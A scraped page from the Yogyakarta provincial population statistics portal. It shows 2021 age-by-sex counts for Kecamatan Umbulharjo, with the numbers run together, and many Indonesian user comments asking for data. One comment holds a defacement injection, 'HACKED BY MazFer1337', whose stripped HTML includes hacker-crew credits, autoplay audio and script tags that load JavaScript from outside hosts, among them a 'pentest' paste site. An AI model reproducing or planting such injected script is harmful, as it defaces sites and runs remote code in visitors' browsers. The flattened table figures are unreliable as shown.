Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN UMBULHARJO, KOTA YOGYAKARTA, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSEMAKIMUJA-MUJUTAHUNANWARUNGBOTOPANDEYANSOROSUTANGIWANGANTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun4944 9310893 201103100 2039891 189140145 285166181 3478186 167745 740 1.485
2 tahun3637 737069 1396363 1266867 1359091 18196105 2016358 121486 490 976
3 tahun3335 687781 1587366 1395881 1398262 144129106 2356356 119515 487 1.002
4 tahun3329 626763 1306755 1225657 1139180 171123101 2245350 103490 435 925
5 tahun3634 706871 1396169 1308153 1349096 186133106 2396268 130531 497 1.028
6 tahun3633 697362 1356872 1406782 1499873 171113109 2227761 138532 492 1.024
7 tahun3536 717484 1586868 1368466 1509496 190136123 2597775 152568 548 1.116
8 tahun4737 848874 1626959 1286574 13910587 192124112 2366960 129567 503 1.070
9 tahun3438 729370 1637275 1477759 1369089 179116127 2436664 130548 522 1.070
10 tahun4542 877277 1497561 1366761 12811291 203142124 2666860 128581 516 1.097
11 tahun4536 818292 1746564 1298456 1409786 183113141 2547266 138558 541 1.099
12 tahun4037 778990 1797370 1437373 1469195 186110133 2437355 128549 553 1.102
13 tahun4938 879895 1937866 1446477 14110194 195128132 2607869 147596 571 1.167
14 tahun4838 869678 1746760 1275575 13012394 217118125 2436163 124568 533 1.101
15 tahun4642 8810986 1956182 1437085 15586110 196135114 2495951 110566 570 1.136
16 tahun4238 8011082 1926760 1277282 15493102 195131107 2386746 113582 517 1.099
17 tahun3740 778796 1835764 1216272 1349293 185140122 2628066 146555 553 1.108
18 tahun4442 869683 1797778 1557483 1579895 193113129 2427049 119572 559 1.131
19 tahun3644 807389 1627970 1497667 14384103 187114101 2156467 131526 541 1.067
20 tahun3743 8010792 1998274 1565670 12610389 192139127 2665976 135583 571 1.154
21 tahun3424 5810596 2018066 1466586 15112285 207113120 2336971 140588 548 1.136
22 tahun4047 879571 1666967 1366971 14010088 188107115 2226566 131545 525 1.070
23 tahun3343 768391 1745480 1347474 1488988 177116124 2405246 98501 546 1.047
24 tahun3932 717783 1606169 1306470 13410275 177126126 2526247 109531 502 1.033
25 tahun4242 847380 1536466 1306776 1438787 174100131 2314961 110482 543 1.025
26 tahun3442 767373 1466477 1416878 14693102 195111152 2635756 113500 580 1.080
27 tahun3338 717073 1437263 1357164 13597100 197129111 2405453 107526 502 1.028
28 tahun3731 687977 1567471 1456887 1558391 174116107 2235662 118513 526 1.039
29 tahun4636 826792 1597563 1387267 13975109 184112128 2404866 114495 561 1.056
30 tahun4042 8210467 1716076 1366065 1259394 187115134 2495664 120528 542 1.070
31 tahun3035 656483 1476260 1226876 1447686 162118111 2295558 113473 509 982
32 tahun4535 808771 1586870 1387263 1359990 189126125 2515457 111551 511 1.062
33 tahun2831 597184 1554161 1026472 13694101 19511088 1986832 100476 469 945
34 tahun3529 646466 1307867 1457767 1449180 171102139 2413868 106485 516 1.001
35 tahun3242 747275 1477569 1445663 1199998 197146119 2656170 131541 536 1.077
36 tahun3349 826490 1548880 1687286 15890120 210124135 2595976 135530 636 1.166
37 tahun3840 786087 1477172 1437268 14011291 203124130 2548073 153557 561 1.118
38 tahun4241 839091 1817086 1567660 13690105 195128151 2796962 131565 596 1.161
39 tahun5349 1028486 1708774 1619296 18893117 210132125 2577772 149618 619 1.237
40 tahun3847 859894 1927075 1456378 141100112 212134139 2736276 138565 621 1.186
41 tahun3438 729692 1886777 1447473 14710496 200117117 2347157 128563 550 1.113
42 tahun3948 879691 1876968 1376977 14692106 198123146 2695276 128540 612 1.152
43 tahun3640 768783 1707361 1347366 139111107 218124125 2496277 139566 559 1.125
44 tahun4839 878092 1726176 1376175 1369492 186101123 2245366 119498 563 1.061
45 tahun3137 688683 1697166 1377059 1299198 189117122 2396251 113528 516 1.044
46 tahun3338 717797 1745862 1206967 1368990 179114131 2456655 121506 540 1.046
47 tahun4837 858893 1817362 1357064 1347897 17511195 2064962 111517 510 1.027
48 tahun3838 768385 1685676 1326072 1327486 16099118 2175555 110465 530 995
49 tahun3329 6296102 1987669 1455664 1208983 172111114 2254958 107510 519 1.029
50 tahun4140 817182 1535557 1126479 1438594 179115123 2384355 98474 530 1.004
51 tahun3426 606779 1466059 1195360 1139179 17093114 2074751 98445 468 913
52 tahun3039 697287 1595184 1356976 1456891 159109116 2255052 102449 545 994
53 tahun3551 866869 1376671 1375173 1248374 15786115 2015345 98442 498 940
54 tahun2736 637079 1494957 1065756 1136569 13489108 1974960 109406 465 871
55 tahun2832 606585 1505066 1164851 996081 141100105 2053351 84384 471 855
56 tahun3030 607780 1574854 1026174 1356282 144101108 2094868 116427 496 923
57 tahun3636 725767 1243862 1005157 1086156 1178888 1764141 82372 407 779
58 tahun2736 636271 1335166 1175459 1136584 1498790 1774941 90395 447 842
59 tahun2636 625557 1125451 1055254 1065481 13577100 1774948 97367 427 794
60 tahun2432 564451 953755 924351 945273 12576104 1803248 80308 414 722
61 tahun2637 635672 1284750 975555 1105357 1108077 1574155 96358 403 761
62 tahun3238 704463 1075859 1174263 1055470 1246473 1373753 90331 419 750
63 tahun1826 445149 1004246 883648 845265 1176262 1243934 73300 330 630
64 tahun1925 444358 1013638 744143 846360 1237472 1462425 49300 321 621
65 tahun1525 403944 833950 893542 774770 1176565 1302740 67267 336 603
66 tahun2025 454248 903441 753939 784044 846672 1383532 67276 301 577
67 tahun2019 395250 1024037 773640 764848 963254 862924 53257 272 529
68 tahun2317 403436 702933 622822 503845 834456 1001219 31208 228 436
69 tahun922 312938 673123 543525 603428 623749 862118 39196 203 399
70 tahun1119 303126 572327 502726 532938 674241 831419 33177 196 373
71 tahun1217 292732 592023 432119 402932 612731 582018 38156 172 328
72 tahun815 232424 482320 431917 362220 423723 60107 17143 126 269
73 tahun712 192528 531819 371218 301831 492429 531118 29115 155 270
74 tahun85 13208 281420 34515 201816 342519 44811 1998 94 192
75 tahun28 101116 27714 21612 18618 241020 3068 1448 96 144
76 tahun68 141618 341010 20912 211411 251625 4138 1174 92 166
77 tahun34 7915 241115 2694 131312 251118 2999 1865 77 142
78 tahun414 181112 231113 24714 21912 211118 29714 2160 97 157
79 tahun56 111114 251516 31917 261211 231322 35139 2278 95 173
80 ke atas2442 665783 1404670 1163463 973979 1185998 1572766 93286 501 787
Jumlah2.5102.6605.1705.4465.61611.0624.5254.7119.2364.5074.7999.3066.0516.27612.3277.7458.12115.8663.9594.0868.045 34.743 36.269 71.012
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih